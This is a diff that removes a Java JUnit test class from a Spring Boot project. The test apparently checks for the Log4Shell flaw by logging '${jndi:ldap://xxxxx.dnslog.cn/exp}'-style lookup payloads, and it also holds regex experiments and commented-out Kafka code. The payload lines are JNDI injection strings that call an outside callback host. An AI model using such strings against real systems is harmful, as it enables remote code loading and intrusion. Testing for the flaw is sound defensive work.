10 -import java.util.regex.Pattern;  
11 -  
12 -//@RunWith(SpringRunner.class)  
13 -@SpringBootTest(classes = NmmsAdminApplication.class)  
14 -public class Test {  
15 -  
16 - private static Logger logger = LogManager.getLogger(Test.class);  
17 -  
18 - @org.junit.jupiter.api.Test  
19 - public void send(){  
20 - String s = "/${java:os}";  
21 - logger.error("username: {}",s);  
22 - logger.error("/${jndi:ldap://xxxxx.dnslog.cn/exp}");  
23 - logger.error("${jndi:ldap://xxxxx.dnslog.cn/exp}");  
24 - logger.error("/${}","jndi:ldap://xxxxx.dnslog.cn/exp");  
25 - logger.error("${}","jndi:ldap://xxxxx.dnslog.cn/exp");  
26 -  
27 - String keyword = "(/[TEFXL]{2}/.{1,25})+";  
28 - // 创建 Pattern 对象  
29 - Pattern r = Pattern.compile(keyword);  
30 - // 现在创建 matcher 对象  
31 - Matcher m = r.matcher("/CN//TE/02120527366/FX/FFFFXXX1123211/TL/112121DSADSADDDDDDD");  
32 - if (m.find()){  
33 - logger.info("找到适配f");  
34 - logger.info(m.group(1));  
35 - logger.info(m.group(2));  
36 - }  
37 - if (m.matches()){  
38 - logger.info("找到适配m");  
39 - logger.info(m.group(1));  
40 - logger.info(m.group(2));  
41 - }  
42 -// MSGS msgs = new MSGS();  
43 -// MSG msg = new MSG();  
44 -//  
45 -// HEADER header = new HEADER();  
46 -// header.setSNDR("TXD");  
47 -// header.setDDTM("20210429103322081");  
48 -// header.setSEQNO(2021042910);  
49 -// header.setTYPE("HYXX");  
50 -// header.setSTYPE("ISLI");  
51 -//  
52 -// msg.setHEADER(header);  
53 -// msg.setBODY("111test");  
54 -//  
55 -//  
56 -//  
57 -//  
58 -// msgs.setMSG(msg);  
59 -//  
60 -// ResultJson response = kafkaSendApi.send(msgs);  
61 -// log.info(response.toString());  
62 - }  
63 -}